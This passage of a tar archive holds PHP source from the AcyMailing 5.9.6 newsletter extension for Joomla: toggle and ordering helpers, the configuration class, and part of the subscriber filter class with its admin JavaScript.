		$name = $singleElement ? 'contentformat' : 'contentformatauto';

		$result = '<input type="hidden" name="'.$name.'" id="'.$name.'" value="'.$default.'" size="1"/>';
		$result .= '<span id="'.$name.'button" class="btn acybuttonformat" style="margin: 0px 10px 0px 0px; background-position: '.$contentformat[$default].'px -6px;height:34px;" onclick="togglediv'.$name.'();"></span>';
		$result .= '<div id="'.$name.'div" class="formatbox" style="display:none;">';

		$reset = '';
		if(file_exists(ACYMAILING_MEDIA.'plugins')){

			

			$files = acymailing_getFiles(ACYMAILING_MEDIA.'plugins', '^'.$plugin);
			foreach($files as $oneFile){
				$reset .= "document.getElementById('".$name.$oneFile."').style.backgroundPosition = '-480px -5px';document.getElementById('".$name.$oneFile."').style.boxShadow = 'inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05)';";
				$result .= '<span id="'.$name.$oneFile.'" class="btn acybuttonformat" style="background-position: -480px -5px;height:34px;" onclick="selectFormat'.$name.'(\''.$oneFile.'\',\''.$oneFile.'\',true);"></span>'.substr($oneFile, 0, strlen($oneFile) - 4).'<br/>';
			}
			$result .= '<br />';
		}

		foreach($contentformat as $value => $position){
			$reset .= "document.getElementById('".$name.$value."').style.backgroundPosition = '".$position."px -10px';document.getElementById('".$name.$value."').style.boxShadow = 'inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05)';";
			$result .= '<span id="'.$name.$value.'" class="btn acybuttonformat" style="background-position: '.$position.'px '.($value == $default ? -64 : -10).'px;" onclick="selectFormat'.$name.'(\''.$value.'\',\''.$position.'\',false);"></span>';
		}

		$result .= '<br />';

		if(!$singleElement){
			$result .= '<br /><input type="hidden" id="'.$name.'invert" value="0"/>';
			$result .= '<span id="'.$name.'invertbutton" class="btn acybuttonformat" style="background-position:-415px -8px;width:58px;height:30px;" onclick="toggleInvert'.$name.'();"></span>'.acymailing_tooltip('Alternatively display the image on the left and right', 'Alternate', '', 'Alternate');
		}

		$result .= '<span class="btn acyokbutton acybuttonformat" onclick="togglediv'.$name.'();">'.acymailing_translation('ACY_CLOSE').'</span>';
		$result .= '</div>';
		ob_start();
		?>
		<script type="text/javascript">
			<!--
			function togglediv<?php echo $name; ?>(){
				var divelement = document.getElementById('<?php echo $name; ?>div');
				if(divelement.style.display == 'none'){
					divelement.style.display = '';
				}else{
					divelement.style.display = 'none';
				}
			}
			<?php if(!$singleElement){ ?>
			function toggleInvert<?php echo $name; ?>(){
				var invertElement = document.getElementById('<?php echo $name; ?>invert');
				var posy = '8';
				var shadow = 'inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05)';
				if(invertElement.value == 0){
					posy = '60';
					shadow = 'inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05)';
				}
				invertElement.value = 1 - invertElement.value;
				document.getElementById('<?php echo $name; ?>invertbutton').style.backgroundPosition = '-415px -' + posy + 'px';
				document.getElementById('<?php echo $name; ?>invertbutton').style.boxShadow = shadow;
				<?php echo $function; ?>();
			}
			<?php } ?>

			function selectFormat<?php echo $name; ?>(format, position, custom){
				<?php echo $reset; ?>
				var prosy = '64';
				var newVal = format;
				if(custom){
					position = '-480';
					prosy = '58';
					newVal = '<?php echo $default; ?>| template:' + format;
				}
				document.getElementById('<?php echo $name; ?>').value = newVal;
				document.getElementById('<?php echo $name; ?>button').style.backgroundPosition = position + 'px -5px';
				document.getElementById('<?php echo $name; ?>' + format).style.backgroundPosition = position + 'px -' + prosy + 'px';
				document.getElementById('<?php echo $name; ?>' + format).style.boxShadow = 'inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05)';
				<?php echo $function; ?>();
			}
			-->
		</script>
		<?php
		$result .= ob_get_clean();
		return $result;
	}
}

com_acymailing/helpers/toggle.php000060400000015342152455305300013156 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acytoggleHelper{

	var $ctrl = 'toggle';
	var $extra = '';

	private function _getToggle($column, $table = ''){

		$params = new stdClass();
		$params->mode = 'pictures';
		if($column == 'published' && !in_array($table, array('plugins', 'list'))){
			$params->aclass = array(0 => 'acyicon-cancel', 1 => 'acyicon-apply', 2 => 'acyicon-schedule');
			$params->description = array(0 => acymailing_translation('PUBLISH_CLICK'), 1 => acymailing_translation('UNPUBLISH_CLICK'), 2 => acymailing_translation('UNSCHEDULE_CLICK'));
			$params->values = array(0 => 1, 1 => 0, 2 => 0);
			return $params;
		}elseif($column == 'status'){
			$params->mode = 'class';
			$params->class = array(-1 => 'roundsubscrib roundunsub', 1 => 'roundsubscrib roundsub', 2 => 'roundsubscrib roundconf');
			$params->description = array(-1 => acymailing_translation('SUBSCRIBE_CLICK'), 1 => acymailing_translation('UNSUBSCRIBE_CLICK'), 2 => acymailing_translation('CONFIRMATION_CLICK'));
			$params->values = array(-1 => 1, 1 => -1, 2 => 1);
			return $params;
		}

		$params->aclass = array(0 => 'acyicon-cancel', 1 => 'acyicon-apply');
		$params->values = array(0 => 1, 1 => 0);
		return $params;
	}

	function toggleText($action = '', $value = '', $table = '', $text = ''){
		static $jsincluded = false;
		static $id = 0;
		$id++;
		if(!$jsincluded){
			$jsincluded = true;
			$js = "function joomToggleText(id,newvalue,table){
				window.document.getElementById(id).className = 'onload';
					
				var xhr = new XMLHttpRequest();
				xhr.open('GET', '".acymailing_prepareAjaxURL('toggle')."&task='+id+'&value='+newvalue+'&table='+table+'&".acymailing_getFormToken()."');
				xhr.onload = function(){
					document.getElementById(id).innerHTML = xhr.responseText;
					window.document.getElementById(id).className = 'loading';
				};
				xhr.send();
			}";
			acymailing_addScript(true, $js);
		}

		if(!$action) return;

		return '<span id="'.$action.'_'.$value.'" ><a href="javascript:void(0);" onclick="joomToggleText(\''.$action.'_'.$value.'\',\''.$value.'\',\''.$table.'\')">'.$text.'</a></span>';
	}

	function toggle($id, $value, $table, $extra = null){
		$column = substr($id, 0, strpos($id, '_'));
		$params = $this->_getToggle($column, $table);
		if(!isset($params->values[$value])) return;
		$newValue = $params->values[$value];
		if($params->mode == 'pictures'){
			static $pictureincluded = false;
			if(!$pictureincluded){
				$pictureincluded = true;
				$js = "function joomTogglePicture(id,newvalue,table){
					window.document.getElementById(id).className = 'onload';
					var xhr = new XMLHttpRequest();
					xhr.open('GET', '".acymailing_prepareAjaxURL('toggle')."&task='+id+'&value='+newvalue+'&table='+table+'&".acymailing_getFormToken()."');
					xhr.onload = function(){
						document.getElementById(id).innerHTML = xhr.responseText;
						window.document.getElementById(id).className = 'loading';
					};
					xhr.send();
				}";
				acymailing_addScript(true, $js);
			}

			$desc = empty($params->description[$value]) ? '' : $params->description[$value];

			if(empty($params->pictures)){
				$text = ' ';
				$class = 'class="'.$params->aclass[$value].'"';
			}else{
				$text = '<img src="'.$params->pictures[$value].'"/>';
				$class = '';
			}

			return '<a href="javascript:void(0);" style="font-style: normal;" '.$class.' onclick="joomTogglePicture(\''.$id.'\',\''.$newValue.'\',\''.$table.'\')" title="'.str_replace('"', '\"', $desc).'">'.$text.'</a>';
		}elseif($params->mode == 'class'){
			if(empty($extra)) return;
			static $classincluded = false;
			if(!$classincluded){
				$classincluded = true;
				$js = "function joomToggleClass(id,newvalue,table,extra){
					var mydiv = document.getElementById(id);
					mydiv.innerHTML = '';
					mydiv.className = 'onload';
					
					var xhr = new XMLHttpRequest();
					xhr.open('GET', '".acymailing_prepareAjaxURL('toggle')."&task='+id+'&value='+newvalue+'&table='+table+'&".acymailing_getFormToken()."&extra[color]='+extra);
					xhr.onload = function(){
						document.getElementById(id).innerHTML = xhr.responseText;
						window.document.getElementById(id).className = 'loading';
					};
					xhr.send();
				}";
				acymailing_addScript(true, $js);
			}
			
			$desc = empty($params->description[$value]) ? '' : $params->description[$value];
			$return = '<a href="javascript:void(0);" onclick="joomToggleClass(\''.$id.'\',\''.$newValue.'\',\''.$table.'\',\''.htmlspecialchars(urlencode($extra['color']), ENT_COMPAT, 'UTF-8').'\');" title="'.str_replace('"', '\"', $desc).'"><div class="'.$params->class[$value].'" style="background-color:'.htmlspecialchars($extra['color'], ENT_COMPAT, 'UTF-8').';border-color:'.htmlspecialchars($extra['color'], ENT_COMPAT, 'UTF-8').'">';
			if(!empty($extra['tooltip'])) $return .= acymailing_tooltip($extra['tooltip'], @$extra['tooltiptitle'], '', '&nbsp;&nbsp;&nbsp;&nbsp;');
			$return .= '</div></a>';

			return $return;
		}
	}

	function display($column, $value){
		$params = $this->_getToggle($column);

		$title = '';
		if($column == 'published') $title = 'title="'.($value == 1 ? acymailing_translation('ENABLED') : acymailing_translation('DISABLED')).'"';

		if(empty($params->pictures)){
			return '<a style="cursor:default;" class="'.$params->aclass[$value].'" '.$title.'></a>';
		}else{
			return '<img src="'.$params->pictures[$value].'"/>';
		}
	}

	function delete($lineId, $elementids, $table, $confirm = false, $text = '', $extraJsOnClick = ''){
		static $deleteJS = false;
		if(!$deleteJS){
			$deleteJS = true;
			$js = "function joomDelete(lineid,elementids,table,reqconfirm){
				if(reqconfirm){
					if(!confirm('".acymailing_translation('ACY_VALIDDELETEITEMS', true)."')) return false;
				}
					
				var xhr = new XMLHttpRequest();
				xhr.open('GET', '".acymailing_prepareAjaxURL($this->ctrl).$this->extra."&task=delete&value='+elementids+'&table='+table+'&".acymailing_getFormToken()."');
				xhr.onload = function(){
					window.document.getElementById(lineid).style.display = 'none';
				};
				xhr.send();
			}";

			acymailing_addScript(true, $js);
		}

		if(empty($text)){
			if(acymailing_isAdmin()){
				$text = '<span class="hasTooltip acyicon-delete" data-original-title="'.acymailing_translation('ACY_DELETE').'" title="'.acymailing_translation('ACY_DELETE').'"/>';
			}else{
				$text = '<img src="'.ACYMAILING_MEDIA_FOLDER.'/images/delete.png" title="Delete">';
			}
		}
		return '<a href="javascript:void(0);" onclick="joomDelete(\''.$lineId.'\',\''.$elementids.'\',\''.$table.'\','.($confirm ? 'true' : 'false').'); '.$extraJsOnClick.'">'.$text.'</a>';
	}
}

com_acymailing/helpers/order.php000060400000007420152455305300013006 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acyorderHelper{

	var $table = '';
	var $pkey = '';
	var $groupMap = '';
	var $groupVal = '';

	function order($down = true){

		if($down){
			$sign = '>';
			$dir = 'ASC';
		}else{
			$sign = '<';
			$dir = 'DESC';
		}

		$ids = acymailing_getVar('array',  'cid', array(), '');
		$id = (int) $ids[0];

		$pkey = $this->pkey;

		$query = 'SELECT a.ordering,a.'.$pkey.' FROM '.acymailing_table($this->table).' as b, '.acymailing_table($this->table).' as a';
		$query .= ' WHERE a.ordering '.$sign.' b.ordering AND b.'.$pkey.' = '.$id;
		if(!empty($this->groupMap)) $query .= ' AND a.'.$this->groupMap.' = '.acymailing_escapeDB($this->groupVal);
		$query .= ' ORDER BY a.ordering '.$dir.' LIMIT 1';
		$secondElement = acymailing_loadObject($query);

		if(empty($secondElement)) return false;

		$firstElement = new stdClass();
		$firstElement->$pkey = $id;
		$firstElement->ordering = $secondElement->ordering;
		if($down)$secondElement->ordering--;
		else $secondElement->ordering++;


		$status1 = acymailing_updateObject(acymailing_table($this->table),$firstElement,$pkey);
		$status2 = acymailing_updateObject(acymailing_table($this->table),$secondElement,$pkey);

		$status = $status1 && $status2;
		if($status){
			acymailing_enqueueMessage(acymailing_translation( 'SUCC_MOVED' ), 'message');
		}

		return $status;
	}

	function save(){
		$pkey = $this->pkey;

		$cid	= acymailing_getVar('array',  'cid', array());
		$order	= acymailing_getVar('array',  'order', array());

		acymailing_arrayToInteger($cid);

		$query = 'SELECT `ordering`,`'.$pkey.'` FROM '.acymailing_table($this->table).' WHERE `'.$pkey.'` NOT IN ('.implode(',',$cid).') ';
		if(!empty($this->groupMap)) $query .= ' AND '.$this->groupMap.' = '.acymailing_escapeDB($this->groupVal);
		$query .= ' ORDER BY `ordering` ASC';
		$results = acymailing_loadObjectList($query, $pkey);

		$oldResults = $results;

		asort($order);

		$newOrder = array();
		while(!empty($order) OR !empty($results)){
			$dbElement = reset($results);
			if(empty($dbElement->ordering) OR (!empty($order) AND reset($order) <= $dbElement->ordering)){
				$newOrder[] = $cid[(int)key($order)];
				unset($order[key($order)]);
			}else{
				$newOrder[] = $dbElement->$pkey;
				unset($results[$dbElement->$pkey]);
			}
		}

		$i = 1;
		$status = true;
		$element = new stdClass();
		foreach($newOrder as $val){
			$element->$pkey = $val;
			$element->ordering = $i;
			if(!isset($oldResults[$val]) OR $oldResults[$val]->ordering != $i){
				$status = acymailing_updateObject(acymailing_table($this->table),$element,$pkey) && $status;
			}
			$i++;
		}

		if($status){
			acymailing_enqueueMessage(acymailing_translation( 'ACY_NEW_ORDERING_SAVED' ), 'message');
		}else{
			acymailing_enqueueMessage(acymailing_translation( 'ERROR_ORDERING' ), 'error');
		}
		return $status;
	}

	function reOrder(){
		$query = 'UPDATE '.acymailing_table($this->table).' SET `ordering` = `ordering`+1';
		if(!empty($this->groupMap)) $query .= ' WHERE '.$this->groupMap.' = '.acymailing_escapeDB($this->groupVal);

		acymailing_query($query);

		$query = 'SELECT `ordering`,`'.$this->pkey.'` FROM '.acymailing_table($this->table);
		if(!empty($this->groupMap)) $query .= ' WHERE '.$this->groupMap.' = '.acymailing_escapeDB($this->groupVal);
		$query .= ' ORDER BY `ordering` ASC';
		$results = acymailing_loadObjectList($query);

		$i = 1;
		foreach($results as $oneResult){
			if($oneResult->ordering != $i){
				$oneResult->ordering = $i;
				acymailing_updateObject( acymailing_table($this->table), $oneResult, $this->pkey);
			}
			$i++;
		}
	}

}
com_acymailing/classes/cpanel.php000060400000003361152455305300013130 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class cpanelClass extends acymailingClass{

	function load(){
		$query = 'SELECT * FROM '.acymailing_table('config');
		$this->values = acymailing_loadObjectList($query, 'namekey');
	}

	function get($namekey,$default = ''){
		if(isset($this->values[$namekey])) return $this->values[$namekey]->value;
		return $default;
	}

	function save($configObject){
		$query = 'REPLACE INTO '.acymailing_table('config').' (namekey,value) VALUES ';
		$params = array();
		$i = 0;
		foreach($configObject as $namekey => $value){
			if(strpos($namekey,'password') !== false && !empty($value) && trim($value,'*') == '') continue;
			$i++;
			if(is_array($value)) $value = implode(',', $value);
			if($i>100){
				$query .= implode(',',$params);
				$affected = acymailing_query($query);
				if($affected === false) return false;
				$i = 0;
				$query = 'REPLACE INTO '.acymailing_table('config').' (namekey,value) VALUES ';
				$params = array();
			}
			if (empty($this->values[$namekey])) $this->values[$namekey] = new stdClass();
			$this->values[$namekey]->value = $value;
			$params[] = '('.acymailing_escapeDB(strip_tags($namekey)).','.acymailing_escapeDB(strip_tags($value)).')';
		}
		if(empty($params)) return true;
		$query .= implode(',',$params);

		try{
			$status = acymailing_query($query);
		}catch(Exception $e){
			$status = false;
		}
		if($status === false) acymailing_display(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()),0,200).'...','error');

		return $status;
	}

}
com_acymailing/classes/filter.php000060400000064310152455305300013154 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class filterClass extends acymailingClass{

	var $tables = array('filter');
	var $pkey = 'filid';
	var $report = array();
	var $subid;
	var $onlynew = false;
	var $didAnAction = false;

	function trigger($triggerName){
		if(!acymailing_level(3)) return;

		$config = acymailing_config();
		if($triggerName != 'daycron' && !$config->get('triggerfilter_'.$triggerName)) return;

		$filters = acymailing_loadObjectList("SELECT * FROM `#__acymailing_filter` WHERE `trigger` LIKE '%".acymailing_getEscaped($triggerName, true)."%' ORDER BY `filid` ASC");

		if(empty($filters) && $triggerName != 'daycron'){
			$newconfig = new stdClass();
			$name = 'triggerfilter_'.$triggerName;
			$newconfig->$name = 0;
			$config->save($newconfig);
			return;
		}
		foreach($filters as $oneFilter){
			if(empty($oneFilter->published)) continue;
			if($triggerName == 'daycron' && $oneFilter->daycron > time()) continue;
			if(!empty($oneFilter->filter)) $oneFilter->filter = unserialize($oneFilter->filter);
			if(!empty($oneFilter->action)) $oneFilter->action = unserialize($oneFilter->action);
			$this->execute($oneFilter->filter, $oneFilter->action, $oneFilter->filid);
			if($triggerName == 'daycron'){
				$newDaycron = $oneFilter->daycron+86400;
				while($newDaycron < time())	$newDaycron += 86400;
				acymailing_query('UPDATE #__acymailing_filter SET `daycron` = '.intval($newDaycron).' WHERE `filid` = '.intval($oneFilter->filid));
			}
		}
	}

	function displayFilters($filters){
		$resultFilters = array();
		if(empty($filters['type'])) return $resultFilters;
		acymailing_importPlugin('acymailing');
		foreach($filters['type'] as $block => $oneFilter) {
			if($block > 0) $resultFilters[] = ucfirst(acymailing_translation('ACY_OR'));
			foreach ($oneFilter as $num => $oneType) {
				if (empty($oneType)) continue;
				$resultFilters = array_merge($resultFilters, acymailing_trigger('onAcyDisplayFilter_' . $oneType, array($filters[$num][$oneType])));
			}
		}
		return $resultFilters;
	}

	function execute($filters, $actions, $filterID){
		if(empty($actions['type'][0])) return;

		acymailing_importPlugin('acymailing');
		$query = new acyQuery();

		$initialWhere = array();
		if(!empty($this->subid)){
			$subArray = explode(',', trim($this->subid, ','));
			acymailing_arrayToInteger($subArray);
			$initialWhere[] = 'sub.subid IN ('.implode(',', $subArray).')';
		}

		$query->removeFlag($filterID);
		if(empty($filters['type'])) {
			$query->where = $initialWhere;
		}else{
			foreach($filters['type'] as $block => $oneFilter) {
				$query->where = $initialWhere;
				foreach($oneFilter as $num => $oneType) {
					if (empty($oneType)) continue;
					$oldObject = (count($query->where) + count($query->leftjoin) + count($query->join)) . '_' . $query->limit . $query->orderBy;
					$res = acymailing_trigger('onAcyProcessFilter_' . $oneType, array(&$query, $filters[$num][$oneType], $num));
					$newObject = (count($query->where) + count($query->leftjoin) + count($query->join)) . '_' . $query->limit . $query->orderBy;
					if (count($res) == 0 && $newObject == $oldObject) {
						$query->where[] = '0 = 1';
						$this->report[] = 'Function onAcyProcessFilter_' . $oneType . ' did not add a condition, filter blocked. Maybe a plugin is missing ?';
					}
				}
				$query->addFlag($filterID);
			}
		}


		$this->didAnAction = $this->didAnAction || $query->count() > 0;
		foreach($actions['type'][0] as $num => $oneType){
			if(empty($oneType) || !isset($actions[$num][$oneType])) continue;
			$this->report = array_merge($this->report, acymailing_trigger('onAcyProcessAction_'.$oneType, array(&$query, $actions[$num][$oneType], $num)));
		}

		$query->removeFlag($filterID);
	}


	function saveForm(){
		$filter = new stdClass();
		$filter->filid = acymailing_getCID('filid');

		$formData = acymailing_getVar('array', 'data', array(), '');

		foreach($formData['filter'] as $column => $value){
			acymailing_secureField($column);
			$filter->$column = strip_tags($value);
		}

		$config = acymailing_config();
		$alltriggers = array_keys((array)acymailing_getVar('none', 'trigger'));
		$filter->trigger = implode(',', $alltriggers);
		$newConfig = new stdClass();
		foreach($alltriggers as $oneTrigger){
			$name = 'triggerfilter_'.$oneTrigger;
			if($config->get($name)) continue;
			$newConfig->$name = 1;
		}

		if(in_array('daycron', $alltriggers)){
			$newHours = acymailing_getVar('none', 'triggerhours');
			$newMinutes = acymailing_getVar('none', 'triggerminutes');
			$newTime = acymailing_getTime(date('Y').'-'.date('m').'-'.date('d').' '.$newHours.':'.$newMinutes);
			if($newTime < time()) $newTime += 86400;
			$filter->daycron = $newTime;
		}

		if(!empty($newConfig)) $config->save($newConfig);

		$data = array('action', 'filter');
		foreach($data as $oneData){
			$filter->$oneData = array();
			$formData = acymailing_getVar('none', $oneData);
			if(!empty($formData['type'])){
				$realNum = 0;
				$blockNum = 0;

				foreach($formData['type'] as $oneFilter){
					foreach($oneFilter as $num => $oneType) {
						if (empty($oneType)) continue;
						$filter->{$oneData}['type'][$blockNum][$realNum] = $oneType;
						$filter->{$oneData}[$realNum][$oneType] = $formData[$num][$oneType];
						$realNum++;
					}
					$blockNum++;
				}
			}
			$filter->$oneData = serialize($filter->$oneData);
		}

		$filid = $this->save($filter);
		if(!$filid) return false;

		acymailing_setVar('filid', $filid);
		return true;
	}

	function get($filid, $default = null){
		$query = 'SELECT a.* FROM #__acymailing_filter as a WHERE a.`filid` = '.intval($filid).' LIMIT 1';
		$filter = acymailing_loadObject($query);

		if(!empty($filter->filter)){
			$filter->filter = unserialize($filter->filter);
		}

		if(!empty($filter->action)){
			$filter->action = unserialize($filter->action);
		}

		if(!empty($filter->trigger)){
			$filter->trigger = array_flip(explode(',', $filter->trigger));
		}

		return $filter;
	}

	function countReceivers($listids, $filters, $mailid = 0){
		$result = 0;
		if(empty($listids)) return $result;

		acymailing_importPlugin('acymailing');
		acymailing_arrayToInteger($listids);

		$query = $this->initialQuery($listids, $mailid);

		if(empty($filters['type'])) return $query->count();

		foreach($filters['type'] as $block => $oneFilter) {
			$query = $this->initialQuery($listids, $mailid);
			foreach($oneFilter as $num => $oneType) {
				if (empty($oneType)) continue;
				acymailing_trigger('onAcyProcessFilter_' . $oneType, array(&$query, $filters[$num][$oneType], $num));
			}
			$result += $query->count();
		}
		return $result;
	}

	function initialQuery($listids, $mailid){
		$query = new acyQuery();

		$query->from = '#__acymailing_listsub as listsub';
		$query->join[] = '#__acymailing_subscriber as sub ON sub.subid = listsub.subid';
		$query->where[] = 'listsub.listid IN ('.implode(',', $listids).') AND listsub.status=1';
		$config = acymailing_config();
		if($config->get('require_confirmation')) $query->where[] = 'sub.confirmed = 1';
		$query->where[] = 'sub.enabled = 1 AND sub.accept = 1';

		if($this->onlynew && !empty($mailid)){
			$query->leftjoin[] = '#__acymailing_userstats as userstats ON sub.subid = userstats.subid AND userstats.mailid = '.intval($mailid);
			$query->where[] = 'userstats.subid IS NULL';
		}

		return $query;
	}

	function addJSFilterFunctions(){
		$js = "
				document.addEventListener('DOMContentLoaded', function(){ addOrBlock(); });
		 		var numBlocks = 0;
		 		var numFilters = 0;
				function addAcyFilter(addButton){
					var isNotFirst = addButton.parentNode.querySelector('.plugarea');
				
					var newdiv = document.createElement('div');
					newdiv.id = 'filter'+numFilters;
					newdiv.className = 'plugarea';
					newdiv.innerHTML = '';
					if(isNotFirst) newdiv.innerHTML += '".acymailing_translation('FILTER_AND')."';
					newdiv.innerHTML += document.getElementById('filters_original').innerHTML.replace(/__num__/g, numFilters).replace(/__block__/g, addButton.id.replace('addButton_', ''));
					
					addButton.parentNode.querySelector('.allfilters').appendChild(newdiv);
					updateFilter(numFilters);
					
					if(isNotFirst){
						var deleteCross = document.createElement('i');
						deleteCross.setAttribute('class', 'acyicon-cancel deleteFilter');
						deleteCross.onclick = function(){
							this.parentNode.remove(); 
							return false;
						}
						var sp2 = document.getElementById('filterarea_' + numFilters.toString());
						sp2.parentNode.insertBefore(deleteCross, sp2);
					}
					
					numFilters++;
				}
				
				function addOrBlock(){
					var container = document.createElement('div');
					container.className = 'onelineblockoptions';
					
					var filtersContainer = document.createElement('div');
					filtersContainer.className = 'allfilters';
					
					var addButton = document.createElement('button');
					addButton.className = 'acymailing_button';
					addButton.onclick = function(){ addAcyFilter(this);return false;};
					addButton.innerHTML = '".acymailing_translation('ADD_FILTER', true)."';
					addButton.id = 'addButton_' + numBlocks;
					
					if(numBlocks > 0){
						var deleteCross = document.createElement('i');
						deleteCross.setAttribute('class', 'acyicon-cancel deleteFilter');
						deleteCross.style.float = 'right';
						deleteCross.onclick = function(){
							this.parentNode.previousSibling.remove(); 
							this.parentNode.remove(); 
							return false;
						}
						container.appendChild(deleteCross);
					}
					
					container.appendChild(filtersContainer);
					container.appendChild(addButton);
					
					var orButton = document.getElementById('acyorbutton');
					
					if(numBlocks > 0){
						var separator = document.createElement('span');
						separator.innerHTML = '".ucfirst(acymailing_translation('ACY_OR', true))."';
						orButton.parentNode.insertBefore(separator, orButton);
					}
					orButton.parentNode.insertBefore(container, orButton);
					
					addButton.click();
					numBlocks++;
				}
				
				function countresults(num){ ";
		if(!acymailing_isAdmin()) $js .= " return; ";
		$js .= "
					if(document.getElementById('filtertype'+num).value == ''){
						document.getElementById('countresult_'+num).innerHTML = '';
						return;
					}
					document.getElementById('countresult_'+num).innerHTML = '<span class=\"onload\"></span>';
					
					var dataform = new FormData(document.getElementById('adminForm'));
					dataform.append('task', 'countresults');
					dataform.append('ctrl', 'filter');
					dataform.append('option', 'com_acymailing');
					dataform.append('num', num);
					
					dataform.append('tmpl', 'component');
					dataform.append('noheader', '1');
					
					dataform.append('page', 'acymailing_filter');
					dataform.append('action', 'acymailing_router');
					
					var xhr = new XMLHttpRequest();
					xhr.open('POST', '".acymailing_prepareAjaxURL('filter')."&task=countresults&num='+num);
					xhr.onload = function(){
						document.getElementById('countresult_'+num).innerHTML = xhr.responseText;
					};
					xhr.send(dataform);
				}

				function updateFilter(filterNum){
					currentFilterType = window.document.getElementById('filtertype'+filterNum).value;
					if(!currentFilterType){
						window.document.getElementById('filterarea_'+filterNum).innerHTML = '';
						document.getElementById('countresult_'+filterNum).innerHTML = '';
						return;
					}
					filterArea = 'filter__num__'+currentFilterType;
					window.document.getElementById('filterarea_'+filterNum).innerHTML = window.document.getElementById(filterArea).innerHTML.replace(/__num__/g,filterNum);
					if(typeof(window['onAcyDisplayFilter_'+currentFilterType]) == 'function') {
						try{ window['onAcyDisplayFilter_'+currentFilterType](filterNum); }catch(e){alert('Error in the onAcyDisplayFilter_'+currentFilterType+' function : '+e); }
					}
				}

				function displayCondFilter(fct, element, num, extra){";
		$ctrl = 'filter';
		if(!acymailing_isAdmin()) $ctrl = 'frontfilter';
		$js .= "
					var xhr = new XMLHttpRequest();
					xhr.open('GET', '".acymailing_prepareAjaxURL($ctrl)."&task=displayCondFilter&fct='+fct+'&num='+num+'&'+extra);
					xhr.onload = function(){
						document.getElementById(element).innerHTML = xhr.responseText;
						countresults(num);
					};
					xhr.send();
				}";
		acymailing_addScript(true, $js);

		$this->addDateDetailHandling();

		$eltsToClean = array('acybase_filters', 'filters_block', 'allactions', 'filtersblock');
		acymailing_removeChzn($eltsToClean);
	}

	protected function addDateDetailHandling(){
		$js = "var dateFieldSelected = null;
				function updateDateDetail(element){
					if(element.value=='relativedate'){
						document.getElementById('specificDate').style.display = 'none';
						document.getElementById('relativeDate').style.display = 'inline';
					} else if(element.value=='specificdate'){
						document.getElementById('specificDate').style.display = 'inline';
						document.getElementById('relativeDate').style.display = 'none';
					} else{
						document.getElementById('specificDate').style.display = 'none';
						document.getElementById('relativeDate').style.display = 'none';
					}
				}

				function hideDateDetail(){
					document.getElementById('dateDetails').style.display = 'none';
				}

				function validateDateField(){
					if(document.getElementById('dateDetail_typerelativedate').checked == true){
						dateVal = '{time}';
						if(document.getElementById('dateDetail_delay').value != 0){
							if(document.getElementById('dateDetail_operator').value == 'before'){
								dateVal += '-';
							} else{
								dateVal += '+';
							}
							if(document.getElementById('dateDetail_length').value == 'minutes'){
								dateVal += document.getElementById('dateDetail_delay').value * 60;
							} else if(document.getElementById('dateDetail_length').value == 'hours'){
								dateVal += document.getElementById('dateDetail_delay').value * 3600;
							} else{
								dateVal += document.getElementById('dateDetail_delay').value * 24 * 3600;
							}
						}
						dateFieldSelected.value = dateVal;
					} else{
						year = document.getElementById('dateDetail_year').value;
						month = document.getElementById('dateDetail_month').value;
						day = document.getElementById('dateDetail_day').value;
						dateFieldSelected.value = year+'-'+month+'-'+day;
					}
					hideDateDetail();
					if(dateFieldSelected.name.substr(0,6) == 'filter'){ dateFieldSelected.onchange(); }
				}

				function displayDatePicker(element,e){
					dateFieldSelected = element;
					try{
						currentVal = element.value;
						if(currentVal.substr(0,6) == '{time}'){
							toggleDateBtn('relative');
							if(currentVal == '{time}'){
								document.getElementById('dateDetail_delay').value = 0;
								document.getElementById('dateDetail_operator').value = 'before';
								document.getElementById('dateDetail_length').value = 'minutes';
							} else{
								currentOperator = currentVal.substr(6,1);
								currentNumber = currentVal.substr(7);
								if(currentNumber/86400 === parseInt(currentNumber/86400)){
									document.getElementById('dateDetail_delay').value = parseInt(currentNumber/86400);
									document.getElementById('dateDetail_length').value = 'days';
								} else if(currentNumber/3600 === parseInt(currentNumber/3600) ){
									document.getElementById('dateDetail_delay').value = parseInt(currentNumber/3600);
									document.getElementById('dateDetail_length').value = 'hours';
								} else{
									document.getElementById('dateDetail_delay').value = parseInt(currentNumber/60);
									document.getElementById('dateDetail_length').value = 'minutes';
								}
								if(currentOperator == '-'){
									document.getElementById('dateDetail_operator').value = 'before';
								} else{
									document.getElementById('dateDetail_operator').value = 'after'
								}
							}
							dateTmp = new Date();
							document.getElementById('dateDetail_year').value = dateTmp.getFullYear();
							month = dateTmp.getMonth() + 1;
							if(month < 10){ month = '0'+ month; }
							document.getElementById('dateDetail_month').value = month;
							if(dateTmp.getDate() < 10){ day = '0'+ dateTmp.getDate(); }
							else{ day = dateTmp.getDate();}
							document.getElementById('dateDetail_day').value = day;
						} else{
							toggleDateBtn('specific');
